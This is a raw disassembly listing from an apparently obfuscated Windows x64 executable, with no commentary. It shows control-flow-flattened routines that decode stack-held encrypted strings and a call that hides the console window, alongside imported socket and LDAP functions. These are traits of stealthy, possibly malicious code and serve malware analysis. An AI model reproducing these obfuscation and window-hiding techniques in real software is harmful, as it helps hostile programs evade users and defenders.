jne 0x1400c787f
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
jmp 0x1400c7dd2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c7bc8
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c73d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c7bf8
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400c7dd5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c7c22
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c7d97
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c7c4a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
dec rbx
inc rbx
jmp 0x1400c73d2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c7847
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x1400c7d2c
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
add dl, r11b
jmp 0x1400c7d97
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x50]
jmp 0x1400c7e07
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c73d2
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c7d97
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c73d2
lea edx, [r10 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 8
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x38
add r11b, r10b
mov byte [rbp + rbx + 0x2d8], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c73d2
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c73d2
movzx r10d, bl
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
add r10b, 0x78
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x48
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x2d8], r11b
add r8, r9
jmp 0x1400c7dd5
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x48
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c73d2
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
sub dl, 0x38
add dl, cl
movzx r10d, bl
sub r10b, 0x18
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x58
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x2d8], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x60
add cl, r11b
mov byte [rbp + rbx + 0x2d8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c73d2
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x18
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c73d2
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
jmp 0x1400c73d0
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
jmp 0x1400c73c0
lea rdx, [rbp + 0x150c678]
jmp 0x1400c7ef4
lea rdx, [rbp + 0x81fd30]
jmp 0x1400c7ef4
lea rdx, [rbp + 0x2d8]
mov rcx, qword [0x1402cdcd0]
call fcn.1400d0bf0
mov qword [rbp - 0x78], 0x5dc
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x70]
call fcn.14004ff70
mov rcx, rax
call fcn.14004ffe0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402cd9e0]
call fcn.1400b9ab0
mov rcx, qword [0x1402cd9e0]
mov byte [rcx + 0xb], 1
call fcn.140057fe0
mov byte [0x1402c987c], 0
mov byte [rbp + 0x210], 0xe1
mov byte [rbp + 0x211], 0x9e
mov byte [rbp + 0x212], 0x90
mov byte [rbp + 0x213], 0x9a
mov byte [rbp + 0x214], 0x9f
mov byte [rbp + 0x215], 0xee
mov byte [rbp + 0x216], __WSAFDIsSet
mov byte [rbp + 0x217], 0xe4
mov byte [rbp + 0x218], 0xdc
mov byte [rbp + 0x219], 0xe8
mov byte [rbp + 0x21a], 0xe6
mov byte [rbp + 0x21b], 0xda
mov byte [rbp + 0x21c], reloc.WLDAP32.dll_Ordinal_50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x21d], xmm0
mov dword [rbp + 0x22d], eax
mov word [rbp + 0x231], ax
movabs r13, 0x542c5c55ece07153
movabs r12, 0xb65c27928a170bff
movzx edx, byte [rsp + 0x31]
nop
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor r15d, r15d
movabs rcx, 0xe7740d30d8b25955
cmp r15, 0x23
jae 0x1400c8733
movzx r11d, byte [rbp + r15 + 0x210]
mov r10d, r11d
cmp r8, r15
ja 0x1400c8727
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c8044
add rcx, r15
mov eax, r11d
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, r11
add rdx, rcx
sub dl, 0x53
jmp 0x1400c8071
je 0x1400c86d3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c8651
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c85fb
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c85d8
movzx r10d, r15b
cmp r9, r15
ja 0x1400c871b
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400c80a5
lea ecx, [r10 - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x31
jmp 0x1400c80d9
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c8596
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c857f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c8563
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c8535
nop dword [rax]
lea rbx, [r8 + r9]
cmp rbx, r15
jbe 0x1400c8237
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c821a
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c81fd
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c80f0
mov r8, rax
lea r9, [rax + 0xa]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c86ff
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c817f
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c80f0
mov r8, rax
lea r9, [rax + 0x80]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c81cf
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c81b3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c8199
mov r8, rax
lea r9, [rax + 0x41]
jmp 0x1400c80f0
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6b
jmp 0x1400c8075
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x1400c85ab
add r10b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3a
jmp 0x1400c8639
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x48
movzx eax, byte [rbp + r15 + 0x210]
add rax, r9
add r15, rax
inc r15
jmp 0x1400c7ff3
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c8614
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c85ab
lea rdi, [r9 + 1]
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400c82e7
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x53
lea rsi, [r9 + 2]
lea r14, [r9 + 4]
cmp rbx, 0x7a
je 0x1400c851f
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400c83d5
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x39
lea rax, [r9 + 5]
cmp r8, 4
jae 0x1400c8503
cmp r8, r14
jbe 0x1400c844c
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 0x20
jb 0x1400c84f3
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x24]
jmp 0x1400c85ab
cmp r8, rdi
jne 0x1400c8322
sub r10b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + r15 + 0x210]
add rax, r9
add r15, rax
inc r15
jmp 0x1400c7ff3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c834f
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c8639
lea rsi, [r9 + 2]
cmp r8, rsi
jne 0x1400c8378
sub r10b, 0x66
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x36
jmp 0x1400c8636
lea r14, [r9 + 4]
cmp r8, r14
jne 0x1400c83ab
sub r10b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec r15
inc r15
jmp 0x1400c7ff3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c8265
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c85ab
cmp r8, rdi
jne 0x1400c83f8
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6d
jmp 0x1400c85ab
cmp r8, rsi
jne 0x1400c8423
add r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x47
dec r15
inc r15
jmp 0x1400c7ff3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c8295
sub r10b, 0x6d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 5
jmp 0x1400c8636
cmp r8, rdi
jne 0x1400c8483
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
movzx eax, byte [rbp + r15 + 0x210]
add rax, r9
add r15, rax
inc r15
jmp 0x1400c7ff3
cmp r8, rsi
jne 0x1400c84a9
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c866a
cmp r8, rax
jne 0x1400c84cc
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7a
jmp 0x1400c8614
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c82c0
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6c
jmp 0x1400c85ab
mov byte [rbp + r15 + 0x210], dl
inc r15
jmp 0x1400c7ff3
lea edx, [r10 - 0x78]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x24
add cl, cl
add dl, cl
jmp 0x1400c8614
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x5e]
jmp 0x1400c866a
sub r10b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x5b
movzx eax, byte [rbp + r15 + 0x210]
add rax, r9
add r15, rax
inc r15
jmp 0x1400c7ff3
sub r10b, 0xb
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x4d
jmp 0x1400c8639
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x67
jmp 0x1400c8614
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x75
add r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x65
add r10b, r11b
mov byte [rbp + r15 + 0x210], r10b
inc r9
dec r15
inc r15
jmp 0x1400c7ff3
lea ecx, [r15 - 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7d
inc r9
dec r15
inc r15
jmp 0x1400c7ff3
movzx r10d, r15b
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x37
sub r10b, 0x23
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xb
add r10b, dl
add r10b, r11b
mov byte [rbp + r15 + 0x210], r10b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r15, rcx
inc r15
jmp 0x1400c7ff3
lea rcx, [r15 + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x45
movzx r10d, r15b
sub r10b, 0x79
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x4f
add cl, r10b
movzx eax, cl
mov byte [rbp + r15 + 0x210], al
inc r9
add rax, r9
sub r15, rax
lea ecx, [r15 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 4
add cl, r11b
mov byte [rbp + r15 + 0x210], cl
inc r8
sub r15, r8
dec r15
movzx eax, byte [rbp + r15 + 0x210]
add rax, r9
add r15, rax
inc r15
jmp 0x1400c7ff3
lea rcx, [r15 + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 7
movzx eax, byte [rbp + r15 + 0x210]
add rax, r9
add r15, rax
inc r15
jmp 0x1400c7ff3
add r10b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x79
jmp 0x1400c7fde
lea rdx, [rbp + 0x154072c]
jmp 0x1400c873a
lea rdx, [rbp + 0x866081]
jmp 0x1400c873a
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x18]
call fcn.1400046a0
mov rdx, rax
mov rcx, qword [0x1402cdcc0]
call fcn.1400e8720
nop
lea rcx, [rbp + 0x4798]
call fcn.140004730
nop
lea rcx, [rbp + 0x47b0]
call fcn.1400505d0
nop
lea rcx, [rbp + 0x46e0]
call fcn.1400cc4e0
nop
lea rcx, [rbp + 0x4840]
call fcn.140003be0
nop
lea rcx, [rbp + 0x47c8]
call fcn.140002a20
nop
lea rcx, [rbp + 0x47e8]
call fcn.140002a20
mov rsi, qword [0x1402cdcd0]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x580], Ordinal_46
mov byte [rbp + 0x581], 0xf1
mov byte [rbp + 0x582], 0xf5
mov byte [rbp + 0x583], 0xfe
mov byte [rbp + 0x584], 0xf5
mov byte [rbp + 0x585], 0xf3
mov byte [rbp + 0x586], 0xc9
mov byte [rbp + 0x587], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x588], Ordinal_200
mov byte [rbp + 0x589], 0xfc
mov byte [rbp + 0x58a], 0xfe
mov byte [rbp + 0x58b], 0xf6
mov byte [rbp + 0x58c], 0xfb
mov byte [rbp + 0x58d], 0xfd
mov byte [rbp + 0x58e], Ordinal_200
mov byte [rbp + 0x58f], gethostname
mov byte [rbp + 0x590], 0xc1
mov byte [rbp + 0x591], Ordinal_200
mov byte [rbp + 0x592], gethostname
mov byte [rbp + 0x593], recv
mov byte [rbp + 0x594], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x595], 0xcc
mov byte [rbp + 0x596], 0xfb
mov byte [rbp + 0x597], 0xf2
mov byte [rbp + 0x598], Ordinal_211
mov byte [rbp + 0x599], Ordinal_211
mov byte [rbp + 0x59a], 0xf0
mov byte [rbp + 0x59b], Ordinal_200
mov byte [rbp + 0x59c], 8
mov byte [rbp + 0x59d], recv
mov byte [rbp + 0x59e], 0xa
mov byte [rbp + 0x59f], Ordinal_50
mov byte [rbp + 0x5a0], 0x46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a1], xmm0
movups xmmword [rbp + 0x5b1], xmm0
mov word [rbp + 0x5c1], ax
movabs r14, 0x7e5b3115a63074d1
movabs r12, 0x747e57978b5331b7
movabs r15, 0x7b119340f2915e73
movzx edx, byte [rsp + 0x31]
nop
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400c94ea
movzx r11d, byte [rbp + rbx + 0x580]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c94de
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c8942
lea rcx, [rbx + r14]
movzx eax, dil
and al, cl
add al, al
movzx edx, r11b
sub dl, al
add dl, 0x49
add dl, cl
jmp 0x1400c8988
je 0x1400c9470
inc rax
cmp r8, rax
je 0x1400c93e8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c93b9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c9379
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c9357
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c9311
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c94d2
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400c89bf
lea edx, [r10 + 0x25]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 3
add dl, r11b
jmp 0x1400c8a10
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c92f7
inc rax
cmp r8, rax
je 0x1400c92d5
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c92b9
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c929d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c9283
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c9256
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400c8f64
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c8f47
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c8f22
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c8f00
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c8ee3
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c8ec7
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c8ea7
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c8e8d
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c8e6d
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c8e40
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c8a20
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400c94b6
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400c949a
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400c8c09
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400c8bf0
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400c8bd7
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400c8df7
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400c8dae
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400c8d71
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400c8d4b
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1400c8a20
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c8d1a
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c8cfc
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c8ce1
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c8cc1
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c8ca5
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c8c88
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c8c66
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c8c3e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c8c22
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c8a20
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x40]
jmp 0x1400c8a20
lea edx, [r10 + 0x7b]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x5d
add dl, r11b
jmp 0x1400c8a10
lea edx, [r10 - 0x27]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x11
add dl, r11b
jmp 0x1400c8990
lea edx, [r10 + 0x37]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x7f
add dl, r11b
jmp 0x1400c8910
lea ecx, [r10 + 0x28]
movzx eax, r11b
and al, cl
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x18
add dl, cl
jmp 0x1400c932a
sub r10b, 0x7a
movzx eax, r11b
and al, r10b
mov edx, Ordinal_46
sub dl, al
add dl, dl
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c88f2
sub r10b, 0x1c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x3c
dec rbx
inc rbx
jmp 0x1400c88f2
lea edx, [r10 + 0x42]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c9392
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x60
jmp 0x1400c93cd
sub r10b, 2
movzx eax, r11b
and al, r10b
mov ecx, 7
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c93d0
lea edx, [r10 + 0x5c]
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400c93ff
sub r10b, 0x46
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x16
add dl, r10b
jmp 0x1400c942d
add r10b, 0x18
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x580]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c88f2
add r10b, 3
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x15
mov byte [rbp + rbx + 0x580], dl
inc rbx
jmp 0x1400c88f2
lea edx, [r10 + 0x61]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x59
add dl, cl
cmp r9, 3
jb 0x1400c8d62
lea edx, [r10 + 0x46]
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400c932a
lea edx, [r10 - 0x41]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x39
add dl, cl
cmp r8, 8
jae 0x1400c921f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400c9141
lea edx, [r10 - 0xe]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400c8d86
lea edx, [r10 + 0x1d]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x35
add dl, cl
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x1400c923e
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400c9098
lea edx, [r10 - 0x33]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x65
jmp 0x1400c8dc3
sub r10b, 0x22
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x12
movzx eax, byte [rbp + rbx + 0x580]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c88f2
add r10b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c942d
lea edx, [r10 - 0x66]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x36
jmp 0x1400c93ff
sub r10b, 8
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c93d0
add r10b, 0x56
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5a
jmp 0x1400c93cd
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c9392
add r10b, 0x12
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7e
dec rbx
inc rbx
jmp 0x1400c88f2
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400c88f2
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c932a
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400c8f8b
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x49
jmp 0x1400c8e0e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c8fc5
add r10b, 0x4a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 6
movzx eax, byte [rbp + rbx + 0x580]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c88f2
inc rax
cmp r8, rax
jne 0x1400c8fee
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c9401
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c9017
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
jmp 0x1400c93d0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c903e
lea ecx, [r10 + 0x74]
